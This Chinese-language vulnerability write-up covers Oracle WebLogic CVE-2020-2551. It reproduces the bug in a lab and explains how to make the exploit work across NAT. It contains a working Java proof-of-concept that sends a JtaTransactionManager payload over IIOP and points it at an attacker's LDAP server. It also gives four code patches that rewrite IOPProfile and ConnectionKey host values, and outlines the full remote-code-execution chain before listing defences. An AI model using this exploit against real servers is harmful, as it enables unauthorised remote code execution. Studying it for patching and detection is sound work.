Weblogic CVE-2020-2551 绕过NAT网络分析
字数 1522 2025-08-26 22:11:45
Weblogic CVE-2020-2551漏洞分析与NAT绕过技术研究
1. 漏洞概述
CVE-2020-2551是Oracle WebLogic Server中的一个远程代码执行漏洞,影响IIOP协议。攻击者可以通过构造特殊的IIOP请求,利用WebLogic的JNDI注入漏洞实现远程代码执行。
2. 漏洞复现基础环境
2.1 环境搭建
- 使用VMware虚拟机
- Docker容器中部署WebLogic服务
- 攻击机IP: 192.168.153.1
- 目标机IP: 192.168.153.136
- WebLogic服务端口: 7001
2.2 基础POC代码
public class CVE_2020_2551 {
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(CVE_2020_2551.class.getClassLoader(), allIfaces, ih));
}
public static Map<String, Object> createMap(final String key, final Object val) {
final Map<String, Object> map = new HashMap<String, Object>();
map.put(key, val);
return map;
}
public static void main(String[] args) throws Exception {
String ip = "192.168.153.136";
String port = "7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("ldap://192.168.153.1:1389/5l7wz0");
Remote remote = createMemoitizedProxy(createMap("pwned", jtaTransactionManager), Remote.class);
context.bind("hello", remote);
}
}
3. NAT环境下的问题分析
3.1 问题现象
在NAT环境下使用上述POC时,会出现"连接被拒绝"的错误。
3.2 调用栈分析
关键调用栈如下:
send:1129, EndPointImpl (weblogic.iiop)
sendReceive:1168, EndPointImpl (weblogic.iiop)
sendReceive:1186, EndPointImpl (weblogic.iiop)
locateNameService:204, IORManager (weblogic.iiop)
createInitialReference:123, IORManager (weblogic.iiop)
string_to_object:341, ORB (weblogic.corba.orb)
resolve_initial_references:235, ORB (weblogic.corba.orb)
getORBReferenceWithRetry:588, ORBHelper (weblogic.corba.j2ee.naming)
getORBReference:559, ORBHelper (weblogic.corba.j2ee.naming)
getInitialContext:85, InitialContextFactoryImpl (weblogic.corba.j2ee.naming)
getInitialContext:33, iiopEnvironmentFactory (weblogic.factories.iiop)
getInitialContext:71, iiopEnvironmentFactory (weblogic.factories.iiop)
getContext:315, Environment (weblogic.jndi)
getContext:285, Environment (weblogic.jndi)
getInitialContext:117, WLInitialContextFactory (weblogic.jndi)
getInitialContext:684, NamingManager (javax.naming.spi)
getDefaultInitCtx:313, InitialContext (javax.naming)
init:244, InitialContext (javax.naming)
<init>:216, InitialContext (javax.naming)
main:43, CVE_2020_2551 (pers.weblogic)
3.3 根本原因
在IORManager#locateNameService方法中:
- 创建
LocateRequestMessage对象并传入sendReceive方法 sendReceive方法返回的是var1.getReply得到的LocateReplyMessage对象- 在
locateNameService方法中调用needsForwarding返回一个IOR对象 - 其中的
iopProfile属性中,得到的host/port分别为0.0.0.0/7001
0.0.0.0代表本机地址,而本机没有开启WebLogic服务,导致在虚拟机Docker环境中无法直接利用。
4. 绕过NAT的改造方案
4.1 方案一:修改IOPProfile类的read方法
- 在项目中创建
weblogic.iiop包 - 添加
IOPProfile类并重写read方法 - 关键点:手动修改
this.host为正确的WebLogic服务地址
// 修改后的IOPProfile类
public class IOPProfile extends weblogic.iiop.IOPProfile {
public void read(weblogic.utils.io.DataInput in) throws IOException {
super.read(in);
// 强制修改host为正确的IP地址
this.host = "192.168.153.136";
}
}
4.2 方案二:修改ConnectionKey类的read方法
- 在
ConnectionKey#read方法中获取数据 - 获取到
0.0.0.0的IP地址后进行覆盖操作
// 修改后的ConnectionKey类
public class ConnectionKey {
public void read(weblogic.utils.io.DataInput in) throws IOException {
super.read(in);
// 获取原始IP后覆盖
if(this.address.equals("0.0.0.0")) {
this.address = "192.168.153.136";
}
}
}
4.3 方案三:覆盖ConnectionKey对象
- 使用Wireshark抓包分析请求流程
- 从数据包中获取远程IP地址
- 重写
IOPProfile#read方法直接覆盖ConnectionKey对象
public class IOPProfile extends weblogic.iiop.IOPProfile {
public void read(weblogic.utils.io.DataInput in) throws IOException {
ConnectionKey key = new ConnectionKey();
key.read(in);
// 从数据中获取真实IP并覆盖
this.host = getRealIPFromPacket();
}
}
4.4 方案四:覆盖IOPProfile对象
- 分析
EndPointManager#createEndPoint方法中的Socket通信 - 修改
IOR对象中的iopProfile属性的host/port数据 - 使用反射强制修改
canonicalHost属性
// 使用反射修改IOR对象
Field iopProfileField = ior.getClass().getDeclaredField("iopProfile");
iopProfileField.setAccessible(true);
Object iopProfile = iopProfileField.get(ior);
Field hostField = iopProfile.getClass().getDeclaredField("host");
hostField.setAccessible(true);
hostField.set(iopProfile, "192.168.153.136");
Field canonicalHostField = iopProfile.getClass().getDeclaredField("canonicalHost");
canonicalHostField.setAccessible(true);
canonicalHostField.set(iopProfile, InetAddress.getByName("192.168.153.136"));
5. 漏洞利用完整流程
- 搭建JNDI注入工具服务,监听1389端口
- 准备恶意LDAP服务,指向攻击者的RMI服务
- 使用改造后的POC代码发起攻击
- WebLogic服务器连接攻击者的LDAP服务
- 加载恶意类并执行,实现远程代码执行
6. 防御措施
- 及时安装Oracle官方发布的安全补丁
- 限制IIOP协议的访问,只允许可信网络访问
- 使用网络防火墙规则限制WebLogic服务器的出站连接
- 监控WebLogic服务器的异常网络连接行为
- 禁用不必要的JNDI查找功能
7. 总结
CVE-2020-2551漏洞利用WebLogic的IIOP协议实现远程代码执行,在NAT环境下需要特殊处理才能成功利用。通过分析漏洞原理和调用流程,我们可以采用多种方式绕过NAT限制,包括修改IOPProfile、ConnectionKey等关键类的行为,或者使用反射直接修改内存中的关键属性。防御方面应及时打补丁并限制网络访问。